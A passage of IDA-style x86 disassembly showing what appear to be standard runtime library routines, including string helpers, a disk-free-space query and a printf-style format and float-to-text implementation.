jmp short loc_40008040 ; --------------------------------------------------------------------------- loc_4000803F: ; CODE XREF: sub_40008028+23j dec ebx loc_40008040: ; CODE XREF: sub_40008028+15j mov edx, ebx mov eax, esi call sub_4000B914 cmp al, 2 jz short loc_4000803F lea eax, [esi+ebx-1] pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_40008054: ; CODE XREF: sub_40008028+13j xor eax, eax pop esi pop ebx retn sub_40008028 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000805C proc near ; CODE XREF: sub_400080B0+Ep push ebx push esi push edi push ebp mov esi, edx mov ebx, eax mov eax, esi test eax, eax jz short loc_4000806F sub eax, 4 mov eax, [eax] loc_4000806F: ; CODE XREF: sub_4000805C+Cj mov edi, eax mov eax, ebx call sub_40004D48 mov ebp, eax test edi, edi jle short loc_400080A7 loc_4000807E: ; CODE XREF: sub_4000805C+49j movzx ebx, byte ptr [esi+edi-1] test bl, bl jz short loc_400080A2 mov edx, ebx mov eax, ebp call sub_40008224 test eax, eax jz short loc_400080A2 mov edx, edi mov eax, esi call sub_4000B914 cmp al, 2 jnz short loc_400080A7 dec edi loc_400080A2: ; CODE XREF: sub_4000805C+29j ; sub_4000805C+36j dec edi test edi, edi jg short loc_4000807E loc_400080A7: ; CODE XREF: sub_4000805C+20j ; sub_4000805C+43j mov eax, edi pop ebp pop edi pop esi pop ebx retn sub_4000805C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_400080B0 proc near ; CODE XREF: sub_4000B488+CCp push ebx push esi push edi mov edi, edx mov ebx, eax mov edx, ebx mov eax, offset dword_400080E4 call sub_4000805C mov esi, eax push edi lea edx, [esi+1] mov ecx, 7FFFFFFFh mov eax, ebx call sub_40004DA8 pop edi pop esi pop ebx retn sub_400080B0 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 2 dword_400080E4 dd 3A5Ch ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_400080E8 proc near ; DATA XREF: sub_4000C4D8+2Ao var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp add esp, 0FFFFFFE8h push ebx mov eax, [ebp+arg_0] test eax, eax jnz short loc_400080F8 xor eax, eax loc_400080F8: ; CODE XREF: sub_400080E8+Cj lea edx, [ebp+var_10] push edx lea edx, [ebp+var_C] push edx lea edx, [ebp+var_8] push edx lea edx, [ebp+var_4] push edx push eax call sub_40006570 ; GetDiskFreeSpaceA mov ebx, eax mov eax, [ebp+var_4] imul [ebp+var_8] xor edx, edx mov [ebp+var_18], eax mov [ebp+var_14], edx mov eax, [ebp+var_C] xor edx, edx push edx push eax mov eax, [ebp+var_18] mov edx, [ebp+var_14] call sub_4000569C mov ecx, [ebp+arg_4] mov [ecx], eax mov [ecx+4], edx mov eax, [ebp+var_10] xor edx, edx push edx push eax mov eax, [ebp+var_18] mov edx, [ebp+var_14] call sub_4000569C mov ecx, [ebp+arg_8] mov [ecx], eax mov [ecx+4], edx mov eax, ebx pop ebx mov esp, ebp pop ebp retn 10h sub_400080E8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000815C proc near ; CODE XREF: sub_4000868C+16p ; sub_4000ADE0+BDp ... mov edx, edi mov edi, eax mov ecx, 0FFFFFFFFh xor al, al repne scasb mov eax, 0FFFFFFFEh sub eax, ecx mov edi, edx retn sub_4000815C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40008174 proc near ; CODE XREF: sub_4000828C+2Bp push esi mov esi, eax xchg eax, edx call sub_40002DFC mov eax, esi pop esi retn sub_40008174 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40008184 proc near ; CODE XREF: sub_400081B8+1Fp ; sub_4000ADE0+91p push edi push esi push ebx mov esi, eax mov edi, edx mov ebx, ecx xor al, al test ecx, ecx jz short loc_40008198 repne scasb jnz short loc_40008198 inc ecx loc_40008198: ; CODE XREF: sub_40008184+Dj ; sub_40008184+11j sub ebx, ecx mov edi, esi mov esi, edx mov edx, edi mov ecx, ebx shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb stosb mov eax, edx pop ebx pop esi pop edi retn sub_40008184 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_400081B8 proc near ; CODE XREF: sub_40014F8C+14Ep ; sub_40014F8C+169p push ebx push esi push edi mov esi, edx mov edi, eax mov ebx, esi test ebx, ebx jz short loc_400081CA sub ebx, 4 mov ebx, [ebx] loc_400081CA: ; CODE XREF: sub_400081B8+Bj mov eax, esi call sub_40004D48 mov edx, eax mov ecx, ebx mov eax, edi call sub_40008184 pop edi pop esi pop ebx retn sub_400081B8 endp ; =============== S U B R O U T I N E ======================================= sub_400081E0 proc near ; CODE XREF: sub_400096A8+388p ; sub_400096A8+39Dp ... push edi push esi push ebx mov edi, edx mov esi, eax mov ebx, ecx xor eax, eax or ecx, ecx jz short loc_4000821E repne scasb sub ebx, ecx mov ecx, ebx mov edi, edx xor edx, edx loc_400081F9: ; CODE XREF: sub_400081E0+3Cj repe cmpsb jz short loc_4000821E mov al, [esi-1] cmp al, 61h jb short loc_4000820A cmp al, 7Ah ja short loc_4000820A sub al, 20h loc_4000820A: ; CODE XREF: sub_400081E0+22j ; sub_400081E0+26j mov dl, [edi-1] cmp dl, 61h jb short loc_4000821A cmp dl, 7Ah ja short loc_4000821A sub dl, 20h loc_4000821A: ; CODE XREF: sub_400081E0+30j ; sub_400081E0+35j sub eax, edx jz short loc_400081F9 loc_4000821E: ; CODE XREF: sub_400081E0+Dj ; sub_400081E0+1Bj pop ebx pop esi pop edi retn sub_400081E0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40008224 proc near ; CODE XREF: sub_4000805C+2Fp ; sub_4000BD04+Bp ... jmp short loc_4000822E ; --------------------------------------------------------------------------- loc_40008226: ; CODE XREF: sub_40008224+Fj test cl, cl jnz short loc_4000822D xor eax, eax retn ; --------------------------------------------------------------------------- loc_4000822D: ; CODE XREF: sub_40008224+4j inc eax loc_4000822E: ; CODE XREF: sub_40008224j movzx ecx, byte ptr [eax] cmp dl, cl jnz short loc_40008226 retn sub_40008224 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40008238 proc near ; CODE XREF: sub_4000BC30+3Bp ; sub_4000BC30+7Cp push edi push esi push ebx or eax, eax jz short loc_40008283 or edx, edx jz short loc_40008283 mov ebx, eax mov edi, edx xor al, al mov ecx, 0FFFFFFFFh repne scasb not ecx dec ecx jz short loc_40008283 mov esi, ecx mov edi, ebx mov ecx, 0FFFFFFFFh repne scasb not ecx sub ecx, esi jbe short loc_40008283 mov edi, ebx lea ebx, [esi-1] loc_4000826B: ; CODE XREF: sub_40008238+44j mov esi, edx lodsb repne scasb jnz short loc_40008283 mov eax, ecx push edi mov ecx, ebx repe cmpsb pop edi mov ecx, eax jnz short loc_4000826B lea eax, [edi-1] jmp short loc_40008285 ; --------------------------------------------------------------------------- loc_40008283: ; CODE XREF: sub_40008238+5j ; sub_40008238+9j ... xor eax, eax loc_40008285: ; CODE XREF: sub_40008238+49j pop ebx pop esi pop edi retn sub_40008238 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000828C proc near ; CODE XREF: sub_4000843E+7Dp var_34 = byte ptr -34h var_14 = dword ptr -14h var_10 = byte ptr -10h push ebx push esi push edi add esp, 0FFFFFFD8h mov ebx, ecx mov esi, edx mov edi, eax cmp ebx, 1Fh jbe short loc_400082A2 mov ebx, 1Fh loc_400082A2: ; CODE XREF: sub_4000828C+Fj mov edx, ebx dec edx mov eax, esi call sub_4000B938 cmp al, 1 jnz short loc_400082B1 dec ebx loc_400082B1: ; CODE XREF: sub_4000828C+22j mov eax, esp mov ecx, ebx mov edx, esi call sub_40008174 mov [esp+ebx+34h+var_34], 0 mov eax, esp mov [esp+34h+var_14], eax mov [esp+34h+var_10], 6 lea edx, [esp+34h+var_14] mov eax, off_4001A85C[edi*4] xor ecx, ecx call sub_40007998 add esp, 28h pop edi pop esi pop ebx retn sub_4000828C endp ; =============== S U B R O U T I N E ======================================= sub_400082E4 proc near ; CODE XREF: sub_4000843E+114p push ebx mov ecx, off_4001B0B4 cmp dword ptr [ecx], 0 jz short loc_400082FC mov ebx, off_4001B0B4 mov ebx, [ebx] call ebx pop ebx retn ; --------------------------------------------------------------------------- loc_400082FC: ; CODE XREF: sub_400082E4+Aj mov al, 10h call sub_40002D50 sub_400082E4 endp ; --------------------------------------------------------------------------- pop ebx retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40008308 proc near ; CODE XREF: sub_40008314+D3p push ebx mov ebx, eax mov eax, ebx call sub_40004884 pop ebx retn sub_40008308 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40008314 proc near ; CODE XREF: sub_4000868C+2Ap ; sub_400086E0+54p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_19 = byte ptr -19h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_8 = dword ptr 10h ; FUNCTION CHUNK AT 4000867B SIZE 0000000F BYTES push ebp mov ebp, esp add esp, 0FFFFFF94h push ebx xor ebx, ebx mov [ebp+var_14], ebx push ebx push esi push edi mov edi, eax mov esi, ecx xor eax, eax mov [ebp+var_4], eax add ecx, [ebp+arg_8] mov [ebp+var_8], edi xor eax, eax mov [ebp+var_C], eax mov [ebp+var_10], eax mov [ebp+var_14], eax loc_4000833D: ; CODE XREF: sub_40008314+DDj or edx, edx jz short loc_4000834E loc_40008341: ; CODE XREF: sub_40008314+38j cmp esi, ecx jz short loc_4000834E lodsb cmp al, 25h jz short loc_40008358 loc_4000834A: ; CODE XREF: sub_40008314+4Bj stosb dec edx jnz short loc_40008341 loc_4000834E: ; CODE XREF: sub_40008314+2Bj ; sub_40008314+2Fj ... mov eax, edi sub eax, [ebp+var_8] jmp loc_4000867B ; --------------------------------------------------------------------------- loc_40008358: ; CODE XREF: sub_40008314+34j cmp esi, ecx jz short loc_4000834E lodsb cmp al, 25h jz short loc_4000834A lea ebx, [esi-2] mov [ebp+var_18], ebx loc_40008367: ; CODE XREF: sub_40008314+70j mov [ebp+var_19], al cmp al, 2Dh jnz short loc_40008373 cmp esi, ecx jz short loc_4000834E lodsb loc_40008373: ; CODE XREF: sub_40008314+58j call sub_400083F6 cmp al, 3Ah jnz short loc_40008386 mov [ebp+var_C], ebx cmp esi, ecx jz short loc_4000834E lodsb jmp short loc_40008367 ; --------------------------------------------------------------------------- loc_40008386: ; CODE XREF: sub_40008314+66j mov [ebp+var_20], ebx mov ebx, 0FFFFFFFFh cmp al, 2Eh jnz short loc_4000839C cmp esi, ecx jz short loc_4000834E lodsb call sub_400083F6 loc_4000839C: ; CODE XREF: sub_40008314+7Cj mov [ebp+var_24], ebx mov [ebp+var_28], esi push ecx push edx call sub_4000843E pop edx mov ebx, [ebp+var_20] sub ebx, ecx jnb short loc_400083B3 xor ebx, ebx loc_400083B3: ; CODE XREF: sub_40008314+9Bj cmp [ebp+var_19], 2Dh jnz short loc_400083C3 sub edx, ecx jnb short loc_400083C1 add ecx, edx xor edx, edx loc_400083C1: ; CODE XREF: sub_40008314+A7j rep movsb loc_400083C3: ; CODE XREF: sub_40008314+A3j xchg ebx, ecx sub edx, ecx jnb short loc_400083CD add ecx, edx xor edx, edx loc_400083CD: ; CODE XREF: sub_40008314+B3j mov al, 20h rep stosb xchg ebx, ecx sub edx, ecx jnb short loc_400083DB add ecx, edx xor edx, edx loc_400083DB: ; CODE XREF: sub_40008314+C1j rep movsb cmp [ebp+var_10], 0 jz short loc_400083ED push edx lea eax, [ebp+var_10] call sub_40008308 pop edx loc_400083ED: ; CODE XREF: sub_40008314+CDj pop ecx mov esi, [ebp+var_28] jmp loc_4000833D sub_40008314 endp ; =============== S U B R O U T I N E ======================================= sub_400083F6 proc near ; CODE XREF: sub_40008314:loc_40008373p ; sub_40008314+83p xor ebx, ebx cmp al, 2Ah jz short loc_4000841E loc_400083FC: ; CODE XREF: sub_400083F6+20j cmp al, 30h jb short locret_4000843D cmp al, 39h ja short locret_4000843D imul ebx, 0Ah sub al, 30h movzx eax, al add ebx, eax cmp esi, ecx jz short loc_40008418 lodsb jmp short loc_400083FC ; --------------------------------------------------------------------------- loc_40008418: ; CODE XREF: sub_400083F6+1Dj ; sub_400083F6+44j pop eax jmp loc_4000834E ; --------------------------------------------------------------------------- loc_4000841E: ; CODE XREF: sub_400083F6+4j mov eax, [ebp-0Ch] cmp eax, [ebp+8] jg short loc_40008438 inc dword ptr [ebp-0Ch] mov ebx, [ebp+0Ch] cmp byte ptr [ebx+eax*8+4], 0 mov ebx, [ebx+eax*8] jz short loc_40008438 xor ebx, ebx loc_40008438: ; CODE XREF: sub_400083F6+2Ej ; sub_400083F6+3Ej cmp esi, ecx jz short loc_40008418 lodsb locret_4000843D: ; CODE XREF: sub_400083F6+8j ; sub_400083F6+Cj retn sub_400083F6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4000843E proc near ; CODE XREF: sub_40008314+90p and al, 0DFh mov cl, al mov eax, 1 mov ebx, [ebp-0Ch] cmp ebx, [ebp+8] jg short loc_400084AB inc dword ptr [ebp-0Ch] mov esi, [ebp+0Ch] lea esi, [esi+ebx*8] mov eax, [esi] movzx edx, byte ptr [esi+4] jmp ds:off_40008465[edx*4] ; --------------------------------------------------------------------------- off_40008465 dd offset loc_400084F6 ; DATA XREF: sub_4000843E+20r dd offset loc_400084A9 dd offset loc_4000852F dd offset loc_400085F6 dd offset loc_4000855F dd offset loc_400085D7 dd offset loc_400085B7 dd offset loc_400084A9 dd offset loc_400084A9 dd offset loc_400084A9 dd offset loc_40008570 dd offset loc_4000859B dd offset loc_400085F2 dd offset loc_4000853E dd offset loc_400084A9 dd offset loc_40008577 dd offset loc_400084C0 ; --------------------------------------------------------------------------- loc_400084A9: ; CODE XREF: sub_4000843E+20j ; sub_4000843E+B6j ... xor eax, eax loc_400084AB: ; CODE XREF: sub_4000843E+Fj call sub_4000866B mov edx, [ebp-18h] mov ecx, [ebp-28h] sub ecx, edx mov ebx, [ebp-4] call sub_4000828C loc_400084C0: ; CODE XREF: sub_4000843E+20j ; DATA XREF: sub_4000843E+67o lea esi, [ebp-49h] mov edx, [ebp-24h] cmp edx, 20h jbe short loc_400084CD xor edx, edx loc_400084CD: ; CODE XREF: sub_4000843E+8Bj mov ebx, ecx sub cl, 44h jz sub_40007CB8 mov ecx, 10h cmp bl, 58h jz sub_40007CB8 mov ecx, 0Ah cmp bl, 55h jz sub_40007CB8 jmp short loc_400084A9 ; --------------------------------------------------------------------------- loc_400084F6: ; CODE XREF: sub_4000843E+20j ; DATA XREF: sub_4000843E:off_40008465o lea esi, [ebp-59h] mov edx, [ebp-24h] mov ebx, ecx cmp edx, 10h jbe short loc_40008505 xor edx, edx loc_40008505: ; CODE XREF: sub_4000843E+C3j sub cl, 44h jz sub_40007C4C mov ecx, 10h cmp bl, 58h jz sub_40007C4C mov ecx, 0Ah cmp bl, 55h jz sub_40007C4C jmp loc_400084A9 ; --------------------------------------------------------------------------- loc_4000852F: ; CODE XREF: sub_4000843E+20j ; DATA XREF: sub_4000843E+2Fo cmp cl, 53h jnz loc_400084A9 mov ecx, 1 retn ; --------------------------------------------------------------------------- loc_4000853E: ; CODE XREF: sub_4000843E+20j ; DATA XREF: sub_4000843E+5Bo cmp cl, 53h jnz loc_400084A9 cmp word ptr [eax], 1 jbe short loc_4000855C mov edx, eax lea eax, [ebp-10h] call sub_400082E4 mov esi, [ebp-10h] jmp short loc_400085A6 ; --------------------------------------------------------------------------- loc_4000855C: ; CODE XREF: sub_4000843E+10Dj ; sub_4000843E+16Aj xor ecx, ecx retn ; --------------------------------------------------------------------------- loc_4000855F: ; CODE XREF: sub_4000843E+20j ; DATA XREF: sub_4000843E+37o cmp cl, 53h jnz loc_400084A9 mov esi, eax lodsb movzx ecx, al jmp short loc_400085AD ; --------------------------------------------------------------------------- loc_40008570: ; CODE XREF: sub_4000843E+20j ; DATA XREF: sub_4000843E+4Fo mov esi, offset sub_40004AAC jmp short loc_4000857C ; --------------------------------------------------------------------------- loc_40008577: ; CODE XREF: sub_4000843E+20j ; DATA XREF: sub_4000843E+63o mov esi, offset sub_40004B0C loc_4000857C: ; CODE XREF: sub_4000843E+137j add esi, [ebp-4] cmp cl, 53h jnz loc_400084A9 mov edx, eax lea eax, [ebp-14h] push ebx mov ebx, [ebp-4] call esi pop ebx mov esi, [ebp-14h] mov eax, esi jmp short loc_400085A6 ; --------------------------------------------------------------------------- loc_4000859B: ; CODE XREF: sub_4000843E+20j ; DATA XREF: sub_4000843E+53o cmp cl, 53h jnz loc_400084A9 mov esi, eax loc_400085A6: ; CODE XREF: sub_4000843E+11Cj ; sub_4000843E+15Bj or esi, esi jz short loc_4000855C mov ecx, [esi-4] loc_400085AD: ; CODE XREF: sub_4000843E+130j cmp ecx, [ebp-24h] ja short loc_400085B3 retn ; --------------------------------------------------------------------------- loc_400085B3: ; CODE XREF: sub_4000843E+172j mov ecx, [ebp-24h] retn ; --------------------------------------------------------------------------- loc_400085B7: ; CODE XREF: sub_4000843E+20j ; DATA XREF: sub_4000843E+3Fo cmp cl, 53h jnz loc_400084A9 mov esi, eax push edi mov edi, eax xor al, al mov ecx, [ebp-24h] jecxz short loc_400085D1 repne scasb jnz short loc_400085D1 dec edi loc_400085D1: ; CODE XREF: sub_4000843E+18Cj ; sub_4000843E+190j mov ecx, edi sub ecx, esi pop edi retn ; --------------------------------------------------------------------------- loc_400085D7: ; CODE XREF: sub_4000843E+20j ; DATA XREF: sub_4000843E+3Bo cmp cl, 50h jnz loc_400084A9 mov edx, 8 mov ecx, 10h lea esi, [ebp-59h] jmp sub_40007C4C ; --------------------------------------------------------------------------- loc_400085F2: ; CODE XREF: sub_4000843E+20j ; DATA XREF: sub_4000843E+57o mov bh, 1 jmp short loc_400085F8 ; --------------------------------------------------------------------------- loc_400085F6: ; CODE XREF: sub_4000843E+20j ; DATA XREF: sub_4000843E+33o mov bh, 0 loc_400085F8: ; CODE XREF: sub_4000843E+1B6j mov esi, eax mov bl, 0 cmp cl, 47h jz short loc_40008640 mov bl, 1 cmp cl, 45h jz short loc_40008640 mov bl, 2 cmp cl, 46h jz short loc_40008621 mov bl, 3 cmp cl, 4Eh jz short loc_40008621 cmp cl, 4Dh jnz loc_400084A9 mov bl, 4 loc_40008621: ; CODE XREF: sub_4000843E+1CFj ; sub_4000843E+1D6j mov eax, 12h mov edx, [ebp-24h] cmp edx, eax jbe short loc_40008652 mov edx, 2 cmp cl, 4Dh jnz short loc_40008652 movzx edx, ds:byte_4001E810 jmp short loc_40008652 ; --------------------------------------------------------------------------- loc_40008640: ; CODE XREF: sub_4000843E+1C1j ; sub_4000843E+1C8j mov eax, [ebp-24h] mov edx, 3 cmp eax, 12h jbe short loc_40008652 mov eax, 0Fh loc_40008652: ; CODE XREF: sub_4000843E+1EDj ; sub_4000843E+1F7j ... push ebx push eax push edx lea eax, [ebp-69h] mov edx, esi movzx ecx, bh mov ebx, [ebp-4] call sub_40008800 mov ecx, eax lea esi, [ebp-69h] retn sub_4000843E endp ; =============== S U B R O U T I N E ======================================= sub_4000866B proc near ; CODE XREF: sub_4000843E:loc_400084ABp ; sub_40008314:loc_4000867Bp push ebx push eax lea eax, [ebp-14h] mov ebx, [ebp-4] call sub_40004884 pop eax pop ebx retn sub_4000866B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_40008314 loc_4000867B: ; CODE XREF: sub_40008314+3Fj call sub_4000866B pop edi pop esi pop ebx pop ebx mov esp, ebp pop ebp retn 0Ch ; END OF FUNCTION CHUNK FOR sub_40008314 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000868C proc near ; CODE XREF: sub_4000ADE0+169p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi mov esi, ecx mov edi, edx mov ebx, eax test ebx, ebx jz short loc_400086C3 test esi, esi jz short loc_400086C3 mov eax, esi call sub_4000815C push eax mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax mov ecx, esi mov eax, ebx mov edx, edi call sub_40008314 mov byte ptr [ebx+eax], 0 mov eax, ebx jmp short loc_400086C5 ; --------------------------------------------------------------------------- loc_400086C3: ; CODE XREF: sub_4000868C+Ej ; sub_4000868C+12j xor eax, eax loc_400086C5: ; CODE XREF: sub_4000868C+35j pop edi pop esi pop ebx pop ebp retn 8 sub_4000868C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_400086CC proc near ; CODE XREF: sub_4000B06C+34p ; sub_4000B128+41p arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] xchg eax, ecx xchg edx, ecx call sub_400086E0 pop ebp retn 4 sub_400086CC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_400086E0 proc near ; CODE XREF: sub_400086CC+Ap ; sub_40015EE4+74p var_100C = byte ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFF004h push eax add esp, 0FFFFFFF4h push ebx push esi push edi mov [ebp+var_8], ecx mov [ebp+var_4], edx mov edi, eax mov ebx, 1000h mov edx, [ebp+var_4] mov eax, edx test eax, eax jz short loc_4000870B sub eax, 4 mov eax, [eax] loc_4000870B: ; CODE XREF: sub_400086E0+24j cmp eax, 0C00h jge short loc_4000873E mov eax, edx test eax, eax jz short loc_4000871D sub eax, 4 mov eax, [eax] loc_4000871D: ; CODE XREF: sub_400086E0+36j push eax mov eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] lea eax, [ebp+var_100C] mov edx, 0FFFh call sub_40008314 mov [ebp+var_C], eax jmp short loc_4000874E ; --------------------------------------------------------------------------- loc_4000873E: ; CODE XREF: sub_400086E0+30j mov eax, edx test eax, eax jz short loc_40008749 sub eax, 4 mov eax, [eax] loc_40008749: ; CODE XREF: sub_400086E0+62j mov ebx, eax mov [ebp+var_C], ebx loc_4000874E: ; CODE XREF: sub_400086E0+5Cj mov eax, ebx dec eax cmp eax, [ebp+var_C] jg short loc_400087A3 jmp short loc_4000878F ; --------------------------------------------------------------------------- loc_40008758: ; CODE XREF: sub_400086E0+B5j add ebx, ebx mov eax, edi call sub_40004884 mov eax, edi mov edx, ebx call sub_40004F74 mov esi, [ebp+var_4] test esi, esi jz short loc_40008776 sub esi, 4 mov esi, [esi] loc_40008776: ; CODE XREF: sub_400086E0+8Fj push esi mov eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] mov edx, ebx dec edx mov eax, [edi] call sub_40008314 mov [ebp+var_C], eax loc_4000878F: ; CODE XREF: sub_400086E0+76j mov eax, ebx dec eax cmp eax, [ebp+var_C] jle short loc_40008758 mov eax, edi mov edx, [ebp+var_C] call sub_40004F74 jmp short loc_400087B3 ; --------------------------------------------------------------------------- loc_400087A3: ; CODE XREF: sub_400086E0+74j lea edx, [ebp+var_100C] mov eax, edi mov ecx, [ebp+var_C] call sub_40004974 loc_400087B3: ; CODE XREF: sub_400086E0+C1j pop edi pop esi pop ebx mov esp, ebp pop ebp retn 4 sub_400086E0 endp ; =============== S U B R O U T I N E ======================================= sub_400087BC proc near ; CODE XREF: sub_40008909+8Dp push esi xor esi, esi stosb or bl, bl jnz short loc_400087C8 xor edx, edx jmp short loc_400087D2 ; --------------------------------------------------------------------------- loc_400087C8: ; CODE XREF: sub_400087BC+6j or edx, edx jge short loc_400087D2 mov al, 2Dh neg edx jmp short loc_400087D8 ; --------------------------------------------------------------------------- loc_400087D2: ; CODE XREF: sub_400087BC+Aj ; sub_400087BC+Ej or ah, ah jz short loc_400087D9 mov al, ah loc_400087D8: ; CODE XREF: sub_400087BC+14j stosb loc_400087D9: ; CODE XREF: sub_400087BC+18j xchg eax, edx push eax mov ebx, esp loc_400087DD: ; CODE XREF: sub_400087BC+32j ; sub_400087BC+36j xor edx, edx div flt_4001A870[esi] add dl, 30h mov [ebx], dl inc ebx dec ecx or eax, eax jnz short loc_400087DD or ecx, ecx jg short loc_400087DD loc_400087F4: ; CODE XREF: sub_400087BC+3Ej dec ebx mov al, [ebx] stosb cmp ebx, esp jnz short loc_400087F4 pop eax pop esi retn sub_400087BC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40008800 proc near ; CODE XREF: sub_4000843E+222p ; sub_40008E14+17p ... var_2C = word ptr -2Ch var_29 = byte ptr -29h var_14 = dword ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h ; FUNCTION CHUNK AT 40008ACD SIZE 00000006 BYTES push ebp mov ebp, esp add esp, 0FFFFFFD4h push edi push esi push ebx mov [ebp+var_4], eax mov al, ds:byte_4001E80F mov [ebp+var_5], al mov al, ds:byte_4001E80E mov [ebp+var_6], al mov eax, ds:dword_4001E808 mov [ebp+var_C], eax mov al, ds:byte_4001E80C mov [ebp+var_D], al mov al, ds:byte_4001E80D mov [ebp+var_E], al mov [ebp+var_14], 0 mov eax, 13h cmp cl, 0 jnz short loc_4000885C mov eax, [ebp+arg_4] cmp eax, 2 jge short loc_40008852 mov eax, 2 loc_40008852: ; CODE XREF: sub_40008800+4Bj cmp eax, 12h jle short loc_4000885C mov eax, 12h loc_4000885C: ; CODE XREF: sub_40008800+43j ; sub_40008800+55j mov [ebp+arg_4], eax push eax mov eax, 270Fh cmp [ebp+arg_8], 2 jb short loc_4000886E mov eax, [ebp+arg_0] loc_4000886E: ; CODE XREF: sub_40008800+69j push eax lea eax, [ebp+var_2C] call sub_40008AD4 mov edi, [ebp+var_4] movzx eax, [ebp+var_2C] sub eax, 7FFFh cmp eax, 2 jnb short loc_400088A2 mov ecx, eax call sub_400088FF lea esi, dword_400088F0[ecx+ecx*2] add esi, [ebp+var_14] mov ecx, 3 rep movsb jmp short loc_400088CF ; --------------------------------------------------------------------------- loc_400088A2: ; CODE XREF: sub_40008800+86j lea esi, [ebp+var_29] movzx ebx, [ebp+arg_8] cmp bl, 1 jz short loc_400088BE cmp bl, 4 ja short loc_400088BC movsx eax, [ebp+var_2C] cmp eax, [ebp+arg_4] jle short loc_400088BE loc_400088BC: ; CODE XREF: sub_40008800+B1j mov bl, 0 loc_400088BE: ; CODE XREF: sub_40008800+ACj ; sub_40008800+BAj lea ebx, off_400088DC[ebx*4] add ebx, [ebp+var_14] mov ebx, [ebx] add ebx, [ebp+var_14] call ebx loc_400088CF: ; CODE XREF: sub_40008800+A0j mov eax, edi sub eax, [ebp+var_4] pop ebx pop esi pop edi jmp loc_40008ACD sub_40008800 endp ; sp-analysis failed ; --------------------------------------------------------------------------- off_400088DC dd offset sub_40008909 ; DATA XREF: sub_40008800:loc_400088BEo dd offset loc_40008965 dd offset sub_4000899C dd offset sub_4000899C dd offset sub_40008A06 dword_400088F0 dd 4E464E49h ; --------------------------------------------------------------------------- inc ecx dec esi ; =============== S U B R O U T I N E ======================================= sub_400088F6 proc near ; CODE XREF: sub_40008909+61p ; sub_40008909:loc_40008978p ... lodsb or al, al jnz short locret_400088FE mov al, 30h dec esi locret_400088FE: ; CODE XREF: sub_400088F6+3j retn sub_400088F6 endp ; =============== S U B R O U T I N E ======================================= sub_400088FF proc near ; CODE XREF: sub_40008800+8Ap ; sub_40008909p ... cmp byte ptr [ebp-2Ah], 0 jz short locret_40008908 mov al, 2Dh stosb locret_40008908: ; CODE XREF: sub_400088FF+4j retn sub_400088FF endp ; =============== S U B R O U T I N E ======================================= sub_40008909 proc near ; DATA XREF: .text:off_400088DCo call sub_400088FF movsx ecx, word ptr [ebp-2Ch] xor edx, edx cmp ecx, [ebp+0Ch] jg short loc_40008936 cmp ecx, 0FFFFFFFDh jl short loc_40008936 or ecx, ecx jg short loc_4000893C mov al, 30h stosb cmp byte ptr [esi], 0 jz short locret_40008964 mov al, [ebp-5] stosb neg ecx mov al, 30h rep stosb jmp short loc_40008950 ; --------------------------------------------------------------------------- loc_40008936: ; CODE XREF: sub_40008909+Ej ; sub_40008909+13j mov ecx, 1 inc edx loc_4000893C: ; CODE XREF: sub_40008909+17j ; sub_40008909+39j lodsb or al, al jz short loc_40008958 stosb loop loc_4000893C lodsb or al, al jz short loc_4000895C mov ah, al mov al, [ebp-5] stosw loc_40008950: ; CODE XREF: sub_40008909+2Bj ; sub_40008909+4Dj lodsb or al, al jz short loc_4000895C stosb jmp short loc_40008950 ; --------------------------------------------------------------------------- loc_40008958: ; CODE XREF: sub_40008909+36j mov al, 30h rep stosb loc_4000895C: ; CODE XREF: sub_40008909+3Ej ; sub_40008909+4Aj or edx, edx jz short locret_40008964 xor eax, eax jmp short loc_40008982 ; --------------------------------------------------------------------------- 